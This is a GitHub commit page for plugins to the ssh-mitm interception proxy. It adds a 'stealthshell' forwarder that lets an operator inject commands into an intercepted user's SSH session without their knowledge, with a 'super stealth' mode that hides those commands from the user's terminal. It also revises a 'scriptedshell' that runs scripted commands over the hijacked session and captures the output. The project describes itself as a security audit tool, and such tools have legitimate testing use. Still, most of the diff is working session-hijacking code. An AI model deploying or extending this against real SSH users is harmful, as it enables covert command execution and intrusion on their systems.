Skip to content

Commit 011e5c6

Browse files
authored
Merge pull request #1 from The5imon/develop
Implementation of the Stealthshell and Scriptedshell features
2 parents 2e4d0a4 + 1a75f27 commit 011e5c6

File tree

7 files changed

+239
-38
lines changed

7 files changed

+239
-38
lines changed

plugins/__entrypoints__.py

Lines changed: 0 additions & 23 deletions
This file was deleted.

setup.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212

1313
def get_entry_points():
14-
from plugins.__entrypoints__ import entry_points as plugins_entry_points
14+
from ssh_mitm_plugins.__entrypoints__ import entry_points as plugins_entry_points
1515
return {
1616
**plugins_entry_points
1717
}
@@ -22,7 +22,7 @@ def get_entry_points():
2222
version='0.1',
2323
author='Simon Böhm',
2424
author_email='[email protected]',
25-
description='plugins for ssh-mitm server, advanced features',
25+
description='advanced features for ssh-mitm server',
2626
long_description=long_description,
2727
long_description_content_type='text/markdown',
2828
keywords="ssh proxy mitm network security audit plugins features advanced",
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
entry_points = {
2+
'SSHBaseForwarder': [
3+
'scriptedshell = ssh_mitm_plugins.ssh.scriptedshell:SSHScriptedForwarder',
4+
'stealthshell = ssh_mitm_plugins.ssh.stealthshell:SSHInjectableForwarder'
5+
],
6+
'SCPBaseForwarder': [
7+
8+
],
9+
'BaseSFTPServerInterface': [
10+
11+
],
12+
'SFTPHandlerBasePlugin': [
13+
14+
]
15+
}
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
import logging
22
import os
3+
import re
34

45
from ssh_proxy_server.forwarders.ssh import SSHForwarder
56

@@ -8,13 +9,13 @@ class SSHScriptedForwarder(SSHForwarder):
89

910
@classmethod
1011
def parser_arguments(cls):
11-
cls.PARSER.add_argument(
12+
cls.parser().add_argument(
1213
'--ssh-script',
1314
dest='ssh_script',
1415
help='script to execute on ssh connection',
1516
required=True
1617
)
17-
cls.PARSER.add_argument(
18+
cls.parser().add_argument(
1819
'--ssh-out-dir',
1920
dest='ssh_out_dir',
2021
help='script output directory',
@@ -30,24 +31,31 @@ def __init__(self, session):
3031
def forward_stdin(self):
3132
if self.executing:
3233
line = self.script.readline()
33-
self.server_channel.sendall(line)
34+
logging.debug(line)
35+
if line == "" and not self.server_channel.recv_ready():
36+
logging.debug("Script: Shutting down")
37+
self.executing = False
38+
self.script.close()
39+
self.output.close()
40+
# Resets Shell prompt for user (OpenSSH server's "Last Login" message is omitted)
41+
self.server_channel.sendall(b'\n')
42+
elif line != "":
43+
self.server_channel.sendall(line)
3444
return
35-
if not self.executing and not self.script.closed and self.session.ssh_channel.recv_ready():
45+
if not self.executing and not self.script.closed and self.server_channel.recv_ready():
46+
logging.debug("Script: Starting")
3647
self.executing = True
3748
super(SSHScriptedForwarder, self).forward_stdin()
3849

39-
def forward_stdout(self):
40-
if not self.server_channel.recv_ready() and self.executing:
41-
self.executing = False
42-
self.script.close()
43-
self.output.close()
44-
super(SSHScriptedForwarder, self).forward_stdout()
45-
4650
def stdout(self, text):
51+
# https://stackoverflow.com/a/38662876
52+
def escape_ansi(line):
53+
ansi_escape = re.compile(r'(?:\x1B[@-_]|[\x80-\x9F])[0-?]*[ -/]*[@-~]')
54+
return ansi_escape.sub('', line)
4755
if self.executing:
48-
self.output.write(text.decode('utf-8'))
56+
self.output.write(escape_ansi(text.decode('utf-8')))
4957
return ""
5058
return text
5159

5260
def close_session(self, channel):
53-
super().close_session(channel)
61+
super().close_session(channel)
Lines changed: 201 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,201 @@
1+
import logging
2+
import queue
3+
import select
4+
import threading
5+
import socket
6+
import time
7+
8+
import paramiko
9+
10+
from ssh_proxy_server.forwarders.ssh import SSHForwarder
11+
from ssh_proxy_server.plugins.ssh.mirrorshell import InjectServer
12+
13+
14+
class SSHInjectableForwarder(SSHForwarder):
15+
16+
HOST_KEY_LENGTH = 2048
17+
18+
@classmethod
19+
def parser_arguments(cls):
20+
cls.parser().add_argument(
21+
'--ssh-injector-net',
22+
dest='ssh_injector_net',
23+
default='127.0.0.1',
24+
help='local address/interface where injector sessions are served'
25+
)
26+
cls.parser().add_argument(
27+
'--ssh-injector-enable-mirror',
28+
dest='ssh_injector_enable_mirror',
29+
action="store_true",
30+
help='enables host session mirroring for the injector shell'
31+
)
32+
cls.parser().add_argument(
33+
'--ssh-injectshell-key',
34+
dest='ssh_injectshell_key'
35+
)
36+
cls.parser().add_argument(
37+
'--ssh-injector-super-stealth',
38+
dest='ssh_injector_super_stealth',
39+
action='store_true',
40+
help='enables stealth injector operation (best used with session mirror)'
41+
)
42+
43+
def __init__(self, session):
44+
super(SSHInjectableForwarder, self).__init__(session)
45+
self.injector_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
46+
self.injector_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
47+
self.injector_sock.bind((self.args.ssh_injector_net, 0))
48+
self.injector_sock.listen(5)
49+
50+
self.mirror_enabled = self.args.ssh_injector_enable_mirror
51+
self.queue = queue.PriorityQueue()
52+
self.clear_signal = None
53+
self.clear = True
54+
self.sender = self.session.ssh_channel
55+
self.injector_shells = []
56+
thread = threading.Thread(target=self.injector_connect)
57+
thread.start()
58+
self.conn_thread = thread
59+
60+
def injector_connect(self):
61+
inject_host, inject_port = self.injector_sock.getsockname()
62+
logging.info(
63+
"created stealth shell on port {port}. connect with: ssh -p {port} {host}".format(
64+
host=inject_host,
65+
port=inject_port
66+
)
67+
)
68+
try:
69+
while not self.session.ssh_channel.closed:
70+
readable = select.select([self.injector_sock], [], [], 0.5)[0]
71+
if len(readable) == 1 and readable[0] is self.injector_sock:
72+
client, addr = self.injector_sock.accept()
73+
74+
t = paramiko.Transport(client)
75+
t.set_gss_host(socket.getfqdn(""))
76+
77+
t.load_server_moduli()
78+
if self.args.ssh_injectshell_key:
79+
t.add_server_key(paramiko.RSAKey(filename=self.args.ssh_injectshell_key))
80+
else:
81+
t.add_server_key(paramiko.RSAKey.generate(bits=self.HOST_KEY_LENGTH))
82+
83+
inject_server = InjectServer(self.server_channel)
84+
try:
85+
t.start_server(server=inject_server)
86+
except (ConnectionResetError, EOFError, paramiko.SSHException):
87+
t.close()
88+
continue
89+
injector_channel = None
90+
while not injector_channel:
91+
injector_channel = t.accept(0.5)
92+
injector_shell = InjectorShell(addr, injector_channel, self)
93+
injector_shell.start()
94+
self.injector_shells.append(injector_shell)
95+
time.sleep(0.1)
96+
except (paramiko.SSHException, OSError) as e:
97+
logging.warning("injector connection suffered an unexpected error")
98+
logging.exception(e)
99+
self.close_session(self.channel)
100+
101+
def forward_stdin(self):
102+
if self.session.ssh_channel.recv_ready():
103+
self.clear = False
104+
buf = self.session.ssh_channel.recv(self.BUF_LEN)
105+
logging.debug("Client:" + str(buf))
106+
self.queue.put((0, buf, self.session.ssh_channel))
107+
108+
def forward_stdout(self):
109+
if self.server_channel.recv_ready():
110+
buf = self.server_channel.recv(self.BUF_LEN)
111+
if self.sender == 'clear_signal':
112+
self.clear_signal = buf.strip()
113+
self.sender = self.session.ssh_channel
114+
return
115+
if self.clear_signal:
116+
if self.clear_signal in buf:
117+
self.clear = True
118+
logging.debug("Server:" + str(buf))
119+
logging.debug(self.clear)
120+
self.sender.sendall(buf)
121+
if self.mirror_enabled and self.sender == self.session.ssh_channel:
122+
for shell in self.injector_shells:
123+
if shell.client_channel is not self.sender:
124+
shell.client_channel.sendall(buf)
125+
126+
def forward_extra(self):
127+
if not self.server_channel.recv_ready() and not self.session.ssh_channel.recv_ready() and not self.queue.empty():
128+
if not self.clear_signal:
129+
self.server_channel.sendall(b'\r')
130+
self.sender = 'clear_signal'
131+
return
132+
prio, msg, sender = self.queue.get()
133+
if sender is not self.session.ssh_channel and not self.clear:
134+
self.queue.put((prio, msg, sender))
135+
return
136+
self.server_channel.sendall(msg)
137+
self.sender = sender
138+
self.queue.task_done()
139+
140+
def close_session(self, channel):
141+
super().close_session(channel)
142+
for shell in self.injector_shells:
143+
shell.join()
144+
self.conn_thread.join()
145+
self.injector_sock.close()
146+
147+
148+
class InjectorShell(threading.Thread):
149+
150+
BUF_LEN = 1024
151+
STEALTH_WARNING = """
152+
[INFO]\r
153+
This is a hidden shell injected into the secure session the original host created.\r
154+
Any commands issued CAN affect the environment of the user BUT will not be displayed on their terminal!\r
155+
Exit the hidden shell with CTRL+C\r
156+
"""
157+
SUPER_STEALTH = """
158+
[SUPERSTEALTH]\r
159+
Commands from the injected shell will only be executed if they do not interfere with normal operation of the original host!\r
160+
"""
161+
162+
def __init__(self, remote, client_channel, forwarder):
163+
super(InjectorShell, self).__init__()
164+
self.remote = remote
165+
self.forwarder = forwarder
166+
self.queue = self.forwarder.queue
167+
self.client_channel = client_channel
168+
self.command = b''
169+
170+
def run(self) -> None:
171+
self.client_channel.sendall(
172+
self.STEALTH_WARNING + (self.SUPER_STEALTH if self.forwarder.args.ssh_injector_super_stealth else "")
173+
)
174+
try:
175+
while not self.forwarder.session.ssh_channel.closed:
176+
if self.client_channel.recv_ready():
177+
data = self.client_channel.recv(self.forwarder.BUF_LEN)
178+
self.command += data
179+
if data == b'\x03':
180+
break
181+
if self.forwarder.args.ssh_injector_super_stealth:
182+
if data == b'\r':
183+
self.queue.put((1, self.command, self.client_channel))
184+
self.command = b''
185+
self.client_channel.sendall(data)
186+
else:
187+
self.queue.put((1, self.command, self.client_channel))
188+
self.command = b''
189+
190+
if self.client_channel.exit_status_ready():
191+
break
192+
time.sleep(0.1)
193+
except paramiko.SSHException:
194+
logging.warning("injector shell %s with unexpected SSHError", str(self.remote))
195+
finally:
196+
self.terminate()
197+
198+
def terminate(self):
199+
if not self.forwarder.session.ssh_channel.closed:
200+
self.forwarder.injector_shells.remove(self)
201+
self.client_channel.get_transport().close()

0 commit comments

Comments
 (0)